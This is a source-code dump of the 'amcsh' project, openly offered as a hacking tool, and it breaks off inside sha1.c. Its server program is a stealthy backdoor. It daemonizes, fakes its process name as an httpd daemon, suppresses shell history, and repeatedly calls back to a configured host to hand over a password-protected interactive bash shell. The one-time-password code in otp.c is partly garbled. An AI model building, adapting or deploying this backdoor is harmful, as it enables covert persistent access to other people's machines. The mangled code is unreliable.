├── Makefile
├── README.md
├── amcsh.c
├── amcsh.h
├── amcshd.c
├── config.h
├── functions.c
├── functions.h
├── hmac.c
├── hmac.h
├── otp.c
├── otp.h
├── sha1.c
└── sha1.h
/Makefile:
--------------------------------------------------------------------------------
1 | #amcsh Makefile
2 | CFLAGS = -Wall
3 | LDFLAGS = -lutil -lm
4 |
5 | all:amcsh amcshd
6 | amcshd: amcshd.o otp.o hmac.o sha1.o functions.o
7 | amcsh: functions.o
8 |
9 | clean:
10 | -rm *.o amcsh amcshd
11 |
12 | .PHONY: clean
13 |
14 | sources = amcsh.c amcshd.c hmac.c otp.c sha1.c functions.c
15 | include $(sources:.c=.d)
16 | %.d: %.c
17 | set -e;rm -rf $@;\
18 | $(CC) -MM $< > $@.$$$$;\
19 | sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@;\
20 | rm -f $@.$$$$
21 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## # # #### #### # #
3 | # # ## ## # # # # #
4 | # # # ## # # #### ######
5 | ###### # # # # # #
6 | # # # # # # # # # #
7 | # # # # #### #### # #
8 |
9 |
10 | [ amcsh ] - A More Comfortable SHell
11 |
12 | by t57root @ openwill.me
13 |
14 | <t57root@gmail.com> [www.HackShell.net](http://www.hackshell.net/)
15 |
16 |
17 | ###Features:
18 |
19 | * Full pty support: VIM, SSH, readline
20 | * Authentication support: pre-shared password / one-time password(based on google authenticator)
21 | * Reverse connection / Bind port
22 | * Fake argv: Fake CMD in ps,netstat
23 |
24 | ###Help Message:
25 |
26 | * Configure:
27 |
28 | >>All configurable variables can be found in amcsh.h.
29 |
30 | >>Check HOWTO.md for more details.
31 |
32 | * Compile:
33 |
34 | >>Run "make" to compile amcsh and obtain executables.
35 |
36 | * Usage:
37 |
38 | >>./client {listen|connect} ip port
39 |
40 | >>[listen]: Listen at ip:port for connection as a server (Reverse connection mode)
41 |
42 | >>[connect]: Connect to ip:port as a client (Bind port mode)
43 |
44 |
--------------------------------------------------------------------------------
/amcsh.c:
--------------------------------------------------------------------------------
1 | /*
2 | * amcsh.c - amcsh client
3 | * t57root@gmail.com
4 | * lastest version @ https://github.com/t57root/amcsh
5 | * openwill.me / www.hackshell.net
6 | */
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #include "config.h"
23 | #include "amcsh.h"
24 | #include "functions.h"
25 |
26 | int server,client,masterfd;
27 | unsigned char message[BUFSIZ + 1];
28 |
29 | void sendws()
30 | {
31 | struct winsize ws;
32 | if( isatty( 0 ) ){
33 | if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ){
34 | perror( "ioctl()" );
35 | return;
36 | }
37 | }
38 | else{
39 | ws.ws_row = 25;
40 | ws.ws_col = 80;
41 | }
42 |
43 | WINCH winch;
44 | winch.flag[0] = magickey[0];
45 | winch.flag[1] = magickey[1];
46 | winch.flag[2] = 's';
47 | winch.flag[3] = 's';
48 | winch.ws_row = ws.ws_row;
49 | winch.ws_col = ws.ws_col;
50 | wsend(masterfd, &winch, sizeof(winch));
51 | }
52 |
53 | int worker(fd)
54 | {
55 | masterfd=fd;
56 | fd_set rd;
57 | int len,ret;
58 | struct winsize ws;
59 | struct termios tp, tr;
60 |
61 | pMSG msg = (pMSG)malloc(sizeof(MSG));
62 | strncpy((char *)msg->term,"TERM=",strlen("TERM="));
63 | strncpy((char *)msg->term+5,getenv( "TERM" ),strlen(getenv( "TERM" )));
64 |
65 | if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ){
66 | perror( "ioctl()" );
67 | return 1;
68 | }
69 | msg->ws_row=ws.ws_row;
70 | msg->ws_col=ws.ws_col;
71 |
72 | char pwd[21];
73 | write(STDOUT_FILENO,"Password: ",10);
74 | scanf("%20[0-9a-zA-Z ]s", pwd);
75 | strncpy((char *)msg->pwd,pwd,strlen(pwd));
76 | ret = wsend(fd, msg, sizeof(MSG));
77 | free(msg);
78 |
79 | if( isatty( 1 ) ){
80 | if( tcgetattr( 1, &tp ) < 0 ){
81 | perror( "tcgetattr()" );
82 | return 1;
83 | }
84 |
85 | memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );
86 |
87 | tr.c_iflag |= IGNPAR;
88 | tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);
89 | tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);
90 | tr.c_oflag &= ~OPOST;
91 |
92 | tr.c_cc[VMIN] = 1;
93 | tr.c_cc[VTIME] = 0;
94 |
95 | if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 ){
96 | perror( "tcsetattr()" );
97 | return 1;
98 | }
99 | }
100 |
101 | signal(SIGWINCH, sendws);
102 |
103 | while( 1 ){
104 | FD_ZERO( &rd );
105 | FD_SET( 0, &rd );
106 | FD_SET( fd, &rd );
107 | if( select( fd + 1, &rd, NULL, NULL, NULL ) < 0 ){
108 | if (errno == EINTR)
109 | continue;
110 | perror( "select" );
111 | break;
112 | }
113 |
114 | if( FD_ISSET( fd, &rd ) ){
115 | if ((ret = wrecv(fd , message)) > 0){
116 | ret=write(1, &message, ret);
117 | if(ret<=0){
118 | perror("write");
119 | break;
120 | }
121 | }
122 | else break;
123 | }
124 |
125 | if( FD_ISSET( 0, &rd ) ){
126 | len = read( 0, message, BUFSIZ );
127 | if( len == 0 ){
128 | fprintf( stderr, "stdin: eof\n" );
129 | break;
130 | }
131 |
132 | if( len < 0 ){
133 | perror( "read" );
134 | break;
135 | }
136 |
137 | ret=wsend(fd, &message, len);
138 | }
139 | }
140 | printf("%s","Connection lost.");
141 | if( isatty( 1 ) ){
142 | tcsetattr( 1, TCSADRAIN, &tp );
143 | }
144 |
145 | return 0;
146 | }
147 |
148 | int amcsh_connect(char *addr, char *port)
149 | {
150 | struct sockaddr_in server_addr;
151 |
152 | server_addr.sin_family = AF_INET;
153 | server_addr.sin_addr.s_addr = inet_addr(addr);
154 | server_addr.sin_port = htons(atoi(port));
155 |
156 | server = socket( AF_INET, SOCK_STREAM, 0 );
157 | printf("About to connect to %s:%s\n", addr, port);
158 | if(connect( server, (struct sockaddr *) &server_addr,sizeof( server_addr ) )<0){
159 | perror("connect");
160 | return 1;
161 | }
162 | worker(server);
163 | close(server);
164 | return 0;
165 | }
166 |
167 | int amcsh_listen(char *addr, char *port)
168 | {
169 | int n;
170 | struct sockaddr_in server_addr;
171 | struct sockaddr_in client_addr;
172 |
173 | server = socket( AF_INET, SOCK_STREAM, 0 );
174 | n = 1;
175 | setsockopt( server, SOL_SOCKET, SO_REUSEADDR, (void *) &n, sizeof(n));
176 |
177 | server_addr.sin_family = AF_INET;
178 | server_addr.sin_port = htons(atoi(port));
179 | server_addr.sin_addr.s_addr = inet_addr(ADDR);
180 |
181 | if(bind(server, (struct sockaddr *) &server_addr,sizeof(server_addr))){
182 | perror("bind()");
183 | return 1;
184 | }
185 |
186 | if(listen(server, 5 ) < 0){
187 | perror("listen()");
188 | return 1;
189 | }
190 |
191 | n = sizeof( client_addr );
192 | printf("Listening on %s:%s\n", addr, port);
193 | client = accept( server, (struct sockaddr *)&client_addr, (socklen_t * __restrict__)&n );
194 | worker(client);
195 | close(client);
196 |
197 | return 0;
198 | }
199 |
200 | int main(int argc,char **argv)
201 | {
202 | printf("\n\e[1;34m\a"
203 | " ## # # #### #### # #\n"
204 | " # # ## ## # # # # #\n"
205 | " # # # ## # # #### ######\n"
206 | " ###### # # # # # #\n"
207 | " # # # # # # # # # #\n"
208 | " # # # # #### #### # #\n\n"
209 | "[ amcsh ] - A More Comfortable SHell\n"
210 | "by t57root @ openwill.me\n"
211 | " [www.HackShell.net]\e[m\n\n"
212 | "Usage: %s {listen|connect} ip port\n"
213 | " listen:\tListen at ip:port for connection as a server (Reverse connection mode)\n"
214 | " connect:\tConnect to ip:port as a client (Bind port mode)\n\n", argv[0]);
215 | if(argc!=4){
216 | return 0;
217 | }
218 | if(strncmp("listen",argv[1],7)==0){
219 | return amcsh_listen(argv[2],argv[3]);
220 | }
221 | else if(strncmp("connect",argv[1],8)==0){
222 | return amcsh_connect(argv[2],argv[3]);
223 | }
224 | return 0;
225 | }
226 |
--------------------------------------------------------------------------------
/amcsh.h:
--------------------------------------------------------------------------------
1 | #ifndef _AMCSH_H
2 | #define _AMCSH_H
3 |
4 | char magickey[2] = { 0377, 0377 };
5 |
6 | typedef struct
7 | {
8 | char flag[4];
9 | int32_t ws_row;
10 | int32_t ws_col;
11 | }WINCH,*pWINCH;
12 |
13 | typedef struct
14 | {
15 | char term[255];
16 | int32_t ws_row;
17 | int32_t ws_col;
18 | char pwd[20];
19 | }MSG,*pMSG;
20 |
21 | #endif
22 |
--------------------------------------------------------------------------------
/amcshd.c:
--------------------------------------------------------------------------------
1 | /*
2 | * amcshd.c - amcsh server
3 | * t57root@gmail.com
4 | * lastest version @ https://github.com/t57root/amcsh
5 | * openwill.me / www.hackshell.net
6 | */
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 |
24 | #include "config.h"
25 | #include "otp.h"
26 | #include "amcsh.h"
27 | #include "functions.h"
28 |
29 | extern char **environ;
30 | static FILE *log_fp = NULL;
31 |
32 | void debuglog(char *msg, ...)
33 | {
34 | #ifdef _LOG_PATH
35 | va_list argp;
36 | if(log_fp == NULL)
37 | log_fp = fopen(_LOG_PATH,"a");
38 | va_start( argp, msg );
39 | vfprintf(log_fp, msg, argp);
40 | char *lf = "\n";
41 | fwrite(lf,strlen(lf),1,log_fp);
42 | va_end( argp );
43 | fflush(log_fp);
44 | #endif
45 | }
46 |
47 | void getpwd(char *pwd)
48 | {
49 | strcpy(pwd,PASSWORD);
50 | #ifdef _OneTimePass
51 | char *otp = malloc(7);
52 | get_otp(otp);
53 | debuglog("pin: %s",otp);
54 | strcat(pwd,otp);
55 | free(otp);
56 | #endif
57 | }
58 |
59 | int daemonme()
60 | {
61 | int pid = fork();
62 |
63 | if( pid != 0 ){
64 | exit(0);
65 | }
66 |
67 | if( setsid() < 0 ){
68 | return 1;
69 | }
70 | return 0;
71 | }
72 |
73 | void chtitle(char *argv0)
74 | {
75 | char *title = FAKE_TITLE;
76 | char* pEnvLast = NULL;
77 | int i,envSize = 0;
78 | for (i = 0 ; environ[i] ; ++i){
79 | envSize = envSize + strlen(environ[i]) + 1;
80 | }
81 | pEnvLast = environ[i-1] + strlen(environ[i-1]) + 1;
82 | char *pEnv = malloc(envSize);
83 | for (i = 0 ; environ[i] ; ++i){
84 | strcpy(pEnv,environ[i]);
85 | int a=strlen(environ[i]);
86 | pEnv = pEnv + a + 1;
87 | environ[i] = pEnv;
88 | }
89 | strncpy(argv0,title,pEnvLast-argv0);
90 | }
91 |
92 | int worker(client)
93 | {
94 | fd_set rd;
95 | struct winsize ws;
96 | char *slave, *shell="/bin/sh";
97 | int ret, pid, pty, tty, n;
98 |
99 | char buffer[BUFSIZ+1];
100 | bzero(&buffer, sizeof buffer);
101 |
102 | if(openpty( &pty, &tty, NULL, NULL, NULL ) < 0){
103 | debuglog("[error] openpty(): %s",strerror(errno));
104 | return 1;
105 | }
106 | slave = ttyname( tty );
107 | if(slave == NULL){
108 | return 1;
109 | }
110 |
111 | putenv("HISTFILE=");
112 |
113 | if((ret = wrecv(client, buffer))<0){
114 | debuglog("[error] recv(): %s",strerror(errno));
115 | return 1;
116 | }
117 | debuglog("GOT HAHA: %d",ret);
118 |
119 | pMSG msg = (pMSG)&buffer;
120 |
121 | debuglog("Recved term env var: %s", msg->term);
122 | putenv(msg->term);
123 |
124 | char *pwd = malloc(strlen(PASSWORD)+7);
125 | getpwd(pwd);
126 | debuglog("gen pwd: %s",pwd);
127 | debuglog("get pwd: %s",msg->pwd);
128 | if(strncmp((const char *)pwd,msg->pwd,20)!=0){
129 | debuglog("Invalid password");
130 | free(pwd);
131 | return 1;
132 | }
133 | debuglog("Password accepted");
134 | free(pwd);
135 |
136 | ws.ws_row = msg->ws_row;
137 | ws.ws_col = msg->ws_col;
138 |
139 | ws.ws_xpixel = 0;
140 | ws.ws_ypixel = 0;
141 |
142 | debuglog("win:%d,%d",ws.ws_row,ws.ws_col);
143 | if(ioctl( pty, TIOCSWINSZ, &ws ) < 0){
144 | debuglog("[error] ioctl(): %s",strerror(errno));
145 | }
146 | if((pid = fork())<0){
147 | debuglog("[error] fork(): %s",strerror(errno));
148 | return 1;
149 | }
150 |
151 | if( pid == 0 ){
152 | //Child
153 | close(client);
154 | close(pty);
155 |
156 | if(setsid() < 0){
157 | debuglog("[error] setsid(): %s",strerror(errno));
158 | }
159 |
160 | if(ioctl( tty, TIOCSCTTY, NULL ) < 0){
161 | debuglog("[error] ioctl(): %s",strerror(errno));
162 | }
163 |
164 | dup2( tty, 0 );
165 | dup2( tty, 1 );
166 | dup2( tty, 2 );
167 |
168 | if(tty > 2){
169 | close(tty);
170 | }
171 |
172 | execl( shell, shell + 5, "-c", "exec bash --login", (char *) 0 );
173 | }
174 | else{
175 | //Parent
176 | close( tty );
177 | while(1){
178 | FD_ZERO( &rd );
179 | FD_SET( client, &rd );
180 | FD_SET( pty, &rd );
181 | bzero(&buffer, sizeof buffer);
182 | n = ( pty > client ) ? pty : client;
183 |
184 | if( select( n + 1, &rd, NULL, NULL, NULL ) == 0 ){
185 | return 1;
186 | }
187 |
188 | if( FD_ISSET( client, &rd ) ){
189 | if ((ret = wrecv(client , buffer)) > 0){
190 | debuglog("recv %d from client fd", ret);
191 | pWINCH winch = (pWINCH)buffer;
192 | if(winch->flag[0]==magickey[0] && winch->flag[1]==magickey[1]
193 | && winch->flag[2]=='s' && winch->flag[3]=='s'){
194 | ws.ws_row = winch->ws_row;
195 | ws.ws_col = winch->ws_col;
196 | ws.ws_xpixel = 0;
197 | ws.ws_ypixel = 0;
198 | debuglog("Got new win size:%d,%d",ws.ws_row,ws.ws_col);
199 | ioctl( pty, TIOCSWINSZ, &ws );
200 | }
201 | else{
202 | ret=write(pty, &buffer, ret);
203 | debuglog("send %d to pty", ret);
204 | }
205 | if(ret<=0) break;
206 | }
207 | else break;
208 | }
209 |
210 | if( FD_ISSET( pty, &rd ) ){
211 | if ((ret = read(pty, buffer, BUFSIZ)) > 0){
212 | debuglog("read %d from pty fd", ret);
213 | ret=wsend(client, &buffer, ret);
214 | debuglog("send %d to client", ret);
215 | if(ret<=0) break;
216 | }
217 | else break;
218 | }
219 | }
220 | return 0;
221 | }
222 | return 1;
223 | }
224 | #ifdef _BACK_CONNECT_INTERVAL
225 | int amcsh_connect(void)
226 | {
227 | int server;
228 | struct sockaddr_in server_addr;
229 |
230 | server_addr.sin_family = AF_INET;
231 | server_addr.sin_addr.s_addr = inet_addr(ADDR);
232 | server_addr.sin_port = htons(atoi(PORT));
233 |
234 | debuglog("About to connect to %s:%s\n", ADDR, PORT);
235 | while(1){
236 | debuglog("About to connect to %s:%s\n", ADDR, PORT);
237 | server = socket( AF_INET, SOCK_STREAM, 0 );
238 | if(connect( server, (struct sockaddr *) &server_addr,sizeof( server_addr ) )<0){
239 | //debuglog("[error] connect(): %s",strerror(errno));
240 | }
241 | else{
242 | worker(server);
243 | debuglog("worker exit #1");
244 | close(server);
245 | debuglog("close done");
246 | }
247 | sleep(_BACK_CONNECT_INTERVAL);
248 | }
249 | return 0;
250 | }
251 | #else
252 | int amcsh_listen(void)
253 | {
254 | int n;
255 | int client,server;
256 | struct sockaddr_in server_addr;
257 | struct sockaddr_in client_addr;
258 |
259 | server = socket( AF_INET, SOCK_STREAM, 0 );
260 | n = 1;
261 | setsockopt( server, SOL_SOCKET, SO_REUSEADDR, (void *) &n, sizeof(n));
262 |
263 | server_addr.sin_family = AF_INET;
264 | server_addr.sin_port = htons(atoi(PORT));
265 | server_addr.sin_addr.s_addr = inet_addr(ADDR);
266 |
267 | if(bind(server, (struct sockaddr *) &server_addr,sizeof(server_addr))){
268 | debuglog("[error] bind(): %s",strerror(errno));
269 | return 1;
270 | }
271 |
272 | if(listen(server, 5 ) < 0){
273 | debuglog("[error] listen(): %s",strerror(errno));
274 | return 1;
275 | }
276 |
277 | n = sizeof( client_addr );
278 | while((client = accept( server, (struct sockaddr *)&client_addr, (socklen_t * __restrict__)&n ))){
279 | worker(client);
280 | debuglog("worker exit #2");
281 | close(client);
282 | }
283 | return 0;
284 | }
285 | #endif
286 |
287 | int main(int argc, char **argv)
288 | {
289 | daemonme();
290 | chtitle(argv[0]);
291 | #ifdef _BACK_CONNECT_INTERVAL
292 | return amcsh_connect();
293 | #else
294 | return amcsh_listen();
295 | #endif
296 | }
297 |
--------------------------------------------------------------------------------
/config.h:
--------------------------------------------------------------------------------
1 | #ifndef _CONFIG_H
2 | #define _CONFIG_H
3 |
4 | #define ADDR "127.0.0.1"
5 | #define PORT "8080"
6 | #define PASSWORD "amcsh"
7 | #define FAKE_TITLE "/usr/sbin/httpd"
8 | #define _BACK_CONNECT_INTERVAL 30
9 | #define _LOG_PATH "/tmp/amcsh.log"
10 | #define _OneTimePass "T57ROOTATOPENWILLDOTME"
11 |
12 | #endif
13 |
--------------------------------------------------------------------------------
/functions.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int full_send(int fd,void *buf,int size)
6 | {
7 | int ret,total=0;
8 | while(size){
9 | ret=send(fd, buf, size,0);
10 | total+=ret;
11 | if(ret<0) return ret;
12 | size=size-ret;
13 | buf+=ret;
14 | }
15 | return total;
16 | }
17 |
18 | int full_recv(int fd,void *buf,int size)
19 | {
20 | int ret,total=0;
21 | while(size){
22 | ret=recv(fd, buf, size,0);
23 | total+=ret;
24 | if(ret<=0) return ret;
25 | size=size-ret;
26 | buf+=ret;
27 | }
28 | return total;
29 | }
30 |
31 | int wsend(int fd,void *buf,int size)
32 | {
33 | int ret;
34 | ret = full_send(fd, &size, sizeof(int32_t));
35 | if(ret<0) return ret;
36 | ret = full_send(fd,buf,size);
37 | return ret;
38 | }
39 |
40 | int wrecv(int fd,void *buf)
41 | {
42 | int ret,size;
43 | ret=full_recv(fd, &size, sizeof(int32_t));
44 | if(ret<=0) return ret;
45 | ret = full_recv(fd,buf,size);
46 | return ret;
47 | }
48 |
--------------------------------------------------------------------------------
/functions.h:
--------------------------------------------------------------------------------
1 | #ifndef _FUNCTIONS_H
2 | #define _FUNCTIONS_H
3 |
4 | int wsend(int fd,void *buf,int size);
5 | int wrecv(int fd,void *buf);
6 |
7 | #endif
8 |
9 |
--------------------------------------------------------------------------------
/hmac.c:
--------------------------------------------------------------------------------
1 | // HMAC_SHA1 implementation
2 | //
3 | // Copyright 2010 Google Inc.
4 | // Author: Markus Gutschke
5 | //
6 | // Licensed under the Apache License, Version 2.0 (the "License");
7 | // you may not use this file except in compliance with the License.
8 | // You may obtain a copy of the License at
9 | //
10 | // http://www.apache.org/licenses/LICENSE-2.0
11 | //
12 | // Unless required by applicable law or agreed to in writing, software
13 | // distributed under the License is distributed on an "AS IS" BASIS,
14 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | // See the License for the specific language governing permissions and
16 | // limitations under the License.
17 |
18 | #include
19 |
20 | #include "sha1.h"
21 |
22 | void hmac_sha1(const uint8_t *key, int keyLength,
23 | const uint8_t *data, int dataLength,
24 | uint8_t *result, int resultLength) {
25 | SHA1_INFO ctx;
26 | uint8_t hashed_key[SHA1_DIGEST_LENGTH];
27 | if (keyLength > 64) {
28 | // The key can be no bigger than 64 bytes. If it is, we'll hash it down to
29 | // 20 bytes.
30 | sha1_init(&ctx);
31 | sha1_update(&ctx, key, keyLength);
32 | sha1_final(&ctx, hashed_key);
33 | key = hashed_key;
34 | keyLength = SHA1_DIGEST_LENGTH;
35 | }
36 |
37 | // The key for the inner digest is derived from our key, by padding the key
38 | // the full length of 64 bytes, and then XOR'ing each byte with 0x36.
39 | uint8_t tmp_key[64];
40 | int i;
41 | for (i = 0; i < keyLength; ++i) {
42 | tmp_key[i] = key[i] ^ 0x36;
43 | }
44 | memset(tmp_key + keyLength, 0x36, 64 - keyLength);
45 |
46 | // Compute inner digest
47 | sha1_init(&ctx);
48 | sha1_update(&ctx, tmp_key, 64);
49 | sha1_update(&ctx, data, dataLength);
50 | uint8_t sha[SHA1_DIGEST_LENGTH];
51 | sha1_final(&ctx, sha);
52 |
53 | // The key for the outer digest is derived from our key, by padding the key
54 | // the full length of 64 bytes, and then XOR'ing each byte with 0x5C.
55 | for (i = 0; i < keyLength; ++i) {
56 | tmp_key[i] = key[i] ^ 0x5C;
57 | }
58 | memset(tmp_key + keyLength, 0x5C, 64 - keyLength);
59 |
60 | // Compute outer digest
61 | sha1_init(&ctx);
62 | sha1_update(&ctx, tmp_key, 64);
63 | sha1_update(&ctx, sha, SHA1_DIGEST_LENGTH);
64 | sha1_final(&ctx, sha);
65 |
66 | // Copy result to output buffer and truncate or pad as necessary
67 | memset(result, 0, resultLength);
68 | if (resultLength > SHA1_DIGEST_LENGTH) {
69 | resultLength = SHA1_DIGEST_LENGTH;
70 | }
71 | memcpy(result, sha, resultLength);
72 |
73 | // Zero out all internal data structures
74 | memset(hashed_key, 0, sizeof(hashed_key));
75 | memset(sha, 0, sizeof(sha));
76 | memset(tmp_key, 0, sizeof(tmp_key));
77 | }
78 |
--------------------------------------------------------------------------------
/hmac.h:
--------------------------------------------------------------------------------
1 | // HMAC_SHA1 implementation
2 | //
3 | // Copyright 2010 Google Inc.
4 | // Author: Markus Gutschke
5 | //
6 | // Licensed under the Apache License, Version 2.0 (the "License");
7 | // you may not use this file except in compliance with the License.
8 | // You may obtain a copy of the License at
9 | //
10 | // http://www.apache.org/licenses/LICENSE-2.0
11 | //
12 | // Unless required by applicable law or agreed to in writing, software
13 | // distributed under the License is distributed on an "AS IS" BASIS,
14 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | // See the License for the specific language governing permissions and
16 | // limitations under the License.
17 |
18 | #ifndef _HMAC_H_
19 | #define _HMAC_H_
20 |
21 | #include
22 |
23 | void hmac_sha1(const uint8_t *key, int keyLength,
24 | const uint8_t *data, int dataLength,
25 | uint8_t *result, int resultLength)
26 | __attribute__((visibility("hidden")));
27 |
28 | #endif /* _HMAC_H_ */
29 |
--------------------------------------------------------------------------------
/otp.c:
--------------------------------------------------------------------------------
1 | /*
2 | * otp.c - one-time password generator
3 | * t57root@gmail.com
4 | * lastest version @ https://github.com/t57root/amcsh
5 | * openwill.me / www.hackshell.net
6 | */
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include "hmac.h"
13 | #include "sha1.h"
14 | #include "config.h"
15 |
16 | int otpLength = 6;
17 | char *lut = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
18 |
19 | int strpos(char *str,char find)
20 | {
21 | int i=0;
22 | while(str[i]){
23 | if(str[i]==find)
24 | break;
25 | i++;
26 | }
27 | i=(i==strlen(str))?-1:i;
28 | return i;
29 | }
30 |
31 | void base32_decode(char *str,char *binary)
32 | {
33 | int l = strlen(str);
34 | int n=0,i,j=0;
35 | int c = 0;
36 | char tmp;
37 | for(i=0;i= 8){
42 | j = j-8;
43 | tmp = (n & (0xFF << j)) >>j;
44 | memcpy(binary+c,&tmp,1);
45 | c++;
46 | }
47 | }
48 | }
49 |
50 | void getotp(char *key,int keylen, int timestamp,char *pwd)
51 | {
52 | char *t = malloc(2*sizeof(int));
53 | memset(t,0,2*sizeof(int));
54 | char *bp = (char *)×tamp;
55 | int i = 0;
56 | for(i=0;i<4;i++){
57 | memcpy(t+2*sizeof(int)-1-i,bp+i,1);
58 | }
59 | uint8_t hash[SHA1_DIGEST_LENGTH];
60 | hmac_sha1(key, keylen, t, 8, hash, SHA1_DIGEST_LENGTH);
61 | char offset = hash[19] & 0xf;
62 |
63 | int ret = (
64 | ((hash[offset+0] & 0x7f) << 24) | ((hash[offset+1] & 0xff) << 16 ) |((hash[offset+2] & 0xff) << 8) | (( hash[offset+3]) & 0xff)
65 | ) % (int)pow(10, otpLength);
66 | free(t);
67 | sprintf(pwd,"%d",ret);
68 | }
69 |
70 | void get_otp(char *pwd)
71 | {
72 | time_t now;
73 | time(&now);
74 | int timestamp = (int)now/30;
75 | char *initKey = _OneTimePass;
76 | int keylen = strlen(initKey);
77 | char *key = malloc(keylen);
78 | memset(key,0,keylen);
79 | base32_decode(initKey,key);
80 | getotp(key, keylen, timestamp,pwd);
81 | free(key);
82 | int padding,i;
83 | if((padding = otpLength - strlen(pwd))>0){
84 | char *otp = malloc(7);
85 | memset(otp,0,7);
86 | for(i=0;i
35 | * from Peter C. Gutmann's implementation as found in
36 | * Applied Cryptography by Bruce Schneier
37 | * Further modifications to include the "UNRAVEL" stuff, below
38 | *
39 | * This code is in the public domain
40 | *
41 | *****************************************************************************
42 | */
43 | #define _BSD_SOURCE
44 | #include // Defines BYTE_ORDER, iff _BSD_SOURCE is defined
45 | #include
46 |
47 | #include "sha1.h"
48 |
49 | #if !defined(BYTE_ORDER)
50 | #if defined(_BIG_ENDIAN)
51 | #define BYTE_ORDER 4321
52 | #elif defined(_LITTLE_ENDIAN)
53 | #define BYTE_ORDER 1234
54 | #else
55 | #error Need to define BYTE_ORDER
56 | #endif
57 | #endif
58 |
59 | #ifndef TRUNC32
60 | #define TRUNC32(x) ((x) & 0xffffffffL)
61 | #endif
62 |
63 | /* SHA f()-functions */
64 | #define f1(x,y,z) ((x & y) | (~x & z))
65 | #define f2(x,y,z) (x ^ y ^ z)
66 | #define f3(x,y,z) ((x & y) | (x & z) | (y & z))
67 | #define f4(x,y,z) (x ^ y ^ z)
68 |
69 | /* SHA constants */
70 | #define CONST1 0x5a827999L
71 | #define CONST2 0x6ed9eba1L
72 | #define CONST3 0x8f1bbcdcL
73 | #define CONST4 0xca62c1d6L
74 |
75 | /* truncate to 32 bits -- should be a null op on 32-bit machines */
76 | #define T32(x) ((x) & 0xffffffffL)
77 |
78 | /* 32-bit rotate */
79 | #define R32(x,n) T32(((x << n) | (x >> (32 - n))))
80 |
81 | /* the generic case, for when the overall rotation is not unraveled */
82 | #define FG(n) \
83 | T = T32(R32(A,5) + f##n(B,C,D) + E + *WP++ + CONST##n); \
84 | E = D; D = C; C = R32(B,30); B = A; A = T
85 |
86 | /* specific cases, for when the overall rotation is unraveled */
87 | #define FA(n) \
88 | T = T32(R32(A,5) + f##n(B,C,D) + E + *WP++ + CONST##n); B = R32(B,30)
89 |
90 | #define FB(n) \
91 | E = T32(R32(T,5) + f##n(A,B,C) + D + *WP++ + CONST##n); A = R32(A,30)
92 |
93 | #define FC(n) \
94 | D = T32(R32(E,5) + f##n(T,A,B) + C + *WP++ + CONST##n); T = R32(T,30)
95 |
96 | #define FD(n) \
97 | C = T32(R32(D,5) + f##n(E,T,A) + B + *WP++ + CONST##n); E = R32(E,30)
98 |
99 | #define FE(n) \
100 | B = T32(R32(C,5) + f##n(D,E,T) + A + *WP++ + CONST##n); D = R32(D,30)
101 |
102 | #define FT(n) \
103 | A = T32(R32(B,5) + f##n(C,D,E) + T + *WP++ + CONST##n); C = R32(C,30)
104 |
105 |
106 | static void
107 | sha1_transform(SHA1_INFO *sha1_info)
108 | {
109 | int i;
110 | uint8_t *dp;
111 | uint32_t T, A, B, C, D, E, W[80], *WP;
112 |
113 | dp = sha1_info->data;
114 |
115 | #undef SWAP_DONE
116 |
117 | #if BYTE_ORDER == 1234
118 | #define SWAP_DONE
119 | for (i = 0; i < 16; ++i) {
120 | T = *((uint32_t *) dp);
121 | dp += 4;
122 | W[i] =
123 | ((T << 24) & 0xff000000) |
124 | ((T << 8) & 0x00ff0000) |
125 | ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);
126 | }
127 | #endif
128 |
129 | #if BYTE_ORDER == 4321
130 | #define SWAP_DONE
131 | for (i = 0; i < 16; ++i) {
132 | T = *((uint32_t *) dp);
133 | dp += 4;
134 | W[i] = TRUNC32(T);
135 | }
136 | #endif
137 |
138 | #if BYTE_ORDER == 12345678
139 | #define SWAP_DONE
140 | for (i = 0; i < 16; i += 2) {
141 | T = *((uint32_t *) dp);
142 | dp += 8;
143 | W[i] = ((T << 24) & 0xff000000) | ((T << 8) & 0x00ff0000) |
144 | ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);
145 | T >>= 32;
146 | W[i+1] = ((T << 24) & 0xff000000) | ((T << 8) & 0x00ff0000) |
147 | ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);
148 | }
149 | #endif
150 |
151 | #if BYTE_ORDER == 87654321
152 | #define SWAP_DONE
153 | for (i = 0; i < 16; i += 2) {
154 | T = *((uint32_t *) dp);
155 | dp += 8;
156 | W[i] = TRUNC32(T >> 32);
157 | W[i+1] = TRUNC32(T);
158 | }
159 | #endif
160 |
161 | #ifndef SWAP_DONE
162 | #define SWAP_DONE
163 | for (i = 0; i < 16; ++i) {
164 | T = *((uint32_t *) dp);
165 | dp += 4;
166 | W[i] = TRUNC32(T);
167 | }
168 | #endif /* SWAP_DONE */
169 |
170 | for (i = 16; i < 80; ++i) {
171 | W[i] = W[i-3] ^ W[i-8] ^ W[i-14] ^ W[i-16];
172 | W[i] = R32(W[i], 1);
173 | }
174 | A = sha1_info->digest[0];
175 | B = sha1_info->digest[1];
176 | C = sha1_info->digest[2];
177 | D = sha1_info->digest[3];
178 | E = sha1_info->digest[4];
179 | WP = W;
180 | #ifdef UNRAVEL
